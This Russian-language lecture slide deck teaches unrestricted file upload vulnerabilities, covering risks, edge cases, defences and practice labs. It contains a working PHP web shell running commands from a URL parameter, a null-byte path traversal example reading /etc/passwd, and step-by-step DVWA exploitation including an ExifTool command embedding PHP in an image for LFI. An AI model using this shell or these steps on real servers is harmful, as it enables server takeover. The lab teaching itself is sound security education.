WebSecurity 

Часть 7

Unrestricted File Upload

 Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки, изображения.

  Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях.

Unrestricted File Upload

    Неограниченная загрузка файлов на сервер.

  Последствия такой загрузки могут различаться, включая полный захват системы, перегруженную файловую систему или базу данных, переадресацию атак на серверные системы, атаки на стороне клиента или простое исправление. Это зависит от того, что приложение делает с загруженным файлом и особенно там, где оно хранится.

Unrestricted File Upload

Факторы риска

  • Воздействие этой уязвимости велико, предполагаемый код может быть выполнен в контексте сервера или на стороне клиента.
  • Важно проверить элементы управления доступом к файлу, чтобы правильно изучить риски.
  • Серверные атаки: веб-сервер может быть взломан, загружая и выполняя веб-оболочку, которая может запускать команды, просматривать системные файлы, просматривать локальные ресурсы, атаковать другие серверы или использовать локальные уязвимости и т.д.
  • Атаки на стороне клиента. Загрузка вредоносных файлов может сделать сайт уязвимым для атак на стороне клиента, таких как XSS или перехват содержимого на разных сайтах.
  • Загруженные файлы могут быть использованы для использования других уязвимых разделов приложения, когда необходим файл на том же или доверенном.
  • Загруженные файлы могут вызывать уязвимости в поломанных библиотеках/приложениях на стороне клиента (например, переполнение буфера iPhone MobileSafari LibTIFF).
  • Загруженные файлы могут вызывать уязвимости в разбитых библиотеках / приложениях на стороне сервера (например, недостаток ImageMagick, который называется ImageTragick!).

Факторы риска

  • Загруженные файлы могут вызывать уязвимости в сломанных инструментах мониторинга в реальном времени (например, антивирус Antivirus, распаковывая RAR-файл).
  • На сервере жертвы может быть загружен вредоносный файл, такой как сценарий оболочки Unix, вирус Windows, файл Excel с опасной формулой или обратная оболочка, чтобы выполнить код администратором или веб-мастером позже - на машине жертвы.
  • Злоумышленник может помещать фишинговую страницу на сайт или деактивировать веб-сайт.

Факторы риска

  • Сервер хранения файлов может быть подвергнут злоупотреблениям для размещения проблемных файлов, включая malwares, незаконное программное обеспечение.
  • Загруженные конфиденциальные файлы могут быть доступны неавторизованным пользователям.
  • Файловые загрузчики могут раскрывать внутреннюю информацию, такую ​​как внутренние пути сервера, в своих сообщениях об ошибках.

Факторы риска

Интересные случаи

  • Загрузка файла, когда другой файл с тем же именем уже существует.
  • Загрузка файла с длинным именем.
  • Загрузка недопустимых файлов в различных форматах, таких как сжатые или XML-файлы, для обнаружения любой возможной обработки на стороне сервера.
  • Загрузка файла с именем «.», «..» или «...» в качестве его имени. Например, в Apache в Windows, если приложение сохраняет загруженные файлы в каталоге «/ www / uploads /», «.» filename создаст файл под названием «uploads» в каталоге «/ www /».
  • Загрузка файлов, которые не могут быть легко удалены, например «...:. Jpg» в NTFS, которая делает файл «...» (этот файл можно удалить с помощью командной строки).
  • Загрузка файла в Windows с недопустимыми символами, такими как | <> *? »В его имени.
  • Загрузка файла в Windows с использованием зарезервированных (запрещенных) имен, таких как CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, ​​COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6 , LPT7, LPT8 и LPT9.

Интересные случаи

  • Проблемы с перехватом содержимого сайта могут быть использованы при загрузке файла с разрешенным именем и расширением, но с содержимым Flash, PDF или Silverlight.
  • Загрузка файла «crossdomain.xml» или «clientaccesspolicy.xml» может сделать сайт уязвимым для захвата контента на разных сайтах. Эти файлы должны быть загружены в корень веб-сайта для работы. Однако файл «crossdomain.xml» может находиться в подкаталоге, если он разрешен в корневом файле «crossdomain.xml».

Интересные случаи

Open Web Application Security Project

  • A1 Внедрение кода
  • A2 Некорректная аутентификация и управление сессией
  • A3 Межсайтовый скриптинг
  • A4 Нарушение контроля доступа
  • A5 Небезопасная конфигурация
  • A6 Утечка чувствительных данных
  • A7 Недостаточная защита от атак (NEW)
  • A8 Подделка межсайтовых запросов
  • A9 Использование компонентов с известными уязвимостями
  • A10 Незащищенный API (NEW)

Рейтинг наиболее популярных атак

Стоимость ошибки

Пример


<?php
// Where are we going to be writing to?
$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);

// Can we move the file to the upload folder?
if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
	$html .= '<pre>Your image was not uploaded.</pre>';

} else {
	$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
?>

File inclusion VS File upload

  Разница заключается в коде который является уязвимым. Уязвимость file upload позволяет загружать файлы которые содержат код, для предоставления злоумышленнику shell скрипта.

  Уязвимость file inclusion позволяет подключать локальные или удаленные файлы, которые потом же будут использованы как часть самого ответа и будут обработаны как сам код и предоставят ответ.

Null Byte

  Так как для работы с файловой системой PHP использует нижележащие C-функции, то в этом случае возможна крайне неожиданная обработка нулевого байта. Так как нулевой байт означает конец строки в C, то строки, содержащие такой байт, не будут трактоваться полностью, а только до той позиции, в которой находится этот байт.

Null Byte

Пример уязвимости


<?php
$file = $_GET['file']; // "../../etc/passwd\0"

// file_exists возвратит true, т.к. /home/wwwrun/../../etc/passwd существует
if (file_exists('/home/wwwrun/'.$file.'.php')) {

    // будет подключен файл /etc/passwd
    include '/home/wwwrun/'.$file.'.php';
}
?>

Exif

   EXIF (англ. Exchangeable Image File Format) — стандарт, позволяющий добавлять к изображениям и прочим медиафайлам дополнительную информацию (метаданные), комментирующую этот файл, описывающий условия и способы его получения, авторство и т. п.

 

Внедрять уязвимый код в картинку мы будем посредством ​ExifTool:
https://www.sno.phy.queensu.ca/~phil/exiftool/index.html

File upload инструменты

Shell-script


<?php
    $output = isset($_GET["command"])
        ? shell_exec($_GET["command"])
        : "";

    echo "<pre>$output</pre>";
?>

DVWA


# Low
Загружаем php файл

# Доступ
http://dvwa.ll/hackable/uploads/shell.php?command=ls

#=====================================================

# Medium
Подделываем Content-Type на image/jpeg

# Доступ
http://dvwa.ll/hackable/uploads/shell.php?command=ls

#=====================================================

# Heigh
Загружаем картинку с комментарием PHP-Shell кода
С помощью ExifTool
root@kali:~# ./exiftool -comment='<?=phpinfo()?>' test.jpeg

# Доступ
Затем используем уязвимость LFI, что бы интерпретировать наш PHP-код Который в картинке
http://dvwa.ll/vulnerabilities/fi/?page=file:///var/www/dvwa/hackable/uploads/shell.jpeg

Или так
http://dvwa.ll/vulnerabilities/fi/?page=file1.php../../../../hackable/uploads/shell.jpeg

Защита от File Upload

  • Санитизация по принципу белого листа.
  • Загружаемые файлы хранить в отдельной песочнице.
  • Процесс загрузки файлов не должен работать из под root.
  • Запретить интерпритатору работать с загруженными файлами.
  • Переименовывать загружаемые файлы.
  • Ограничьте размер файла до максимального значения, чтобы предотвратить атак типа «отказ в обслуживании» (PHP - upload_max_filesize, post_max_size).

Защита от File Upload

  • Все управляющие символы и символы Unicode должны быть удалены из имен файлов и их расширений без каких-либо исключений.
  • Для определения имен файлов рекомендуется использовать алгоритм. Например, имя файла может быть хэшем MD5 имени файла плюс дата дня.
  • Убедитесь, что файлы с двойными расширениями (например, «file.php.txt») не могут быть выполнены, особенно в Apache.

Где потренироваться?

  • http://www.dvwa.co.uk/
  • http://www.itsecgames.com/
  • https://habrahabr.ru/company/pentestit/blog/261569/
  • https://habrahabr.ru/company/pt/blog/138779/

Полезные ссылки

  • https://www.owasp.org/index.php/Unrestricted_File_Upload
  • https://habrahabr.ru/post/44610/
  • http://www.hackingarticles.in/5-ways-file-upload-vulnerability-exploitation/
  • https://www.owasp.org/index.php/Embedding_Null_Code
  • http://resources.infosecinstitute.com/null-byte-injection-php
  • http://php.net/manual/ru/security.filesystem.nullbytes.php
  • https://www.sno.phy.queensu.ca/~phil/exiftool/install.html

Вопросы?

To be continued ...

Web Security Part 7

By James Jason

Web Security Part 7

  • 1,743